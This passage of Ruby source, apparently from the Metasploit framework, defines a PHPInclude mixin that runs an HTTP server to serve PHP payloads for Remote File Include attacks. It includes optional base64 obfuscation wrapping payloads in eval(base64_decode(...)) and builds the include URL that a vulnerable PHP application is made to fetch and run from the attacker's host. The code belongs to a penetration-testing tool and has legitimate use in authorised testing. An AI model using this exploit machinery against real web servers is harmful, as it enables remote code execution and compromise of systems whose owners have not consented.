          body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
        when 'utf-7-all'
          headers['Content-Type'] = 'text/html; charset=utf-7'
          body = Rex::Text.to_unicode(body, 'utf-7', 'all')
        when 'none'
          # do nothing
        else
          raise RuntimeError, 'Invalid unicode.  how did you get here?'
      end
    end

    send_response(cli, body, headers)
  end

end


###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})

    # Override TCPServer's stance of passive
    super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))

    register_evasion_options(
      [
        OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
      ], Exploit::Remote::HttpServer::PHPInclude
    )
  end

  # Since these types of vulns are Stance::Aggressive, override HttpServer's
  # normal non-automatic behaviour and allow things to run us automatically
  def autofilter
    true
  end

  ##
  # :category: Exploit::Remote::TcpServer overrides
  #
  # Override exploit() to handle service start/stop
  #
  # Disables SSL for the service since we always want to serve our evil PHP
  # files from a non-ssl server.  There are two reasons for this:
  # 1. https is only supported on PHP versions after 4.3.0 and only if
  #    the OpenSSL extension is compiled in, a non-default configuration on
  #    most systems
  # 2. somewhat less importantly, the SSL option would conflict with the
  #    option for our client connecting to the vulnerable server
  #
  def exploit
    old_ssl = datastore["SSL"]
    datastore["SSL"] = false
    start_service
    datastore["SSL"] = old_ssl

    #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
    #	print_error("Warning: the URL used for the include might be wrong!")
    #	print_error("If the target system can route to #{srvhost_addr} it")
    #	print_error("is safe to ignore this warning. If not, try using a")
    #	print_error("reverse payload instead of bind.")
    #end

    begin
      print_status("PHP include server started.");
      php_exploit
      ::IO.select(nil, nil, nil, 5)
    rescue ::Interrupt
      raise $!
    ensure
      stop_service
    end
  end

  #
  # Transmits a PHP payload to the web application
  #
  def send_php_payload(cli, body, headers = {})

    case datastore['PHP::Encode']
    when 'base64'
      body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
    when 'none'
      body = "<?php #{body} ?>"
    end

    send_response(cli, body, headers)
  end

  ##
  # :category: Event Handlers
  #
  # Handle an incoming PHP code request
  #
  def on_request_uri(cli, request, headers={})
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Send it to the application
    send_php_payload(cli, p.encoded, headers)
  end

  #
  # The PHP include URL (pre-encoded)
  #
  # Does not take SSL into account.  For the reasoning behind this, see
  # {#exploit}.
  #
  # @return [String] The URL to be used as the argument in a call to
  #   +require+, +require_once+, or +include+ or +include_once+ in a
  #   vulnerable PHP app.
  def php_include_url(sock=nil)
    host = srvhost_addr
    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end
    "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?"
  end


end
end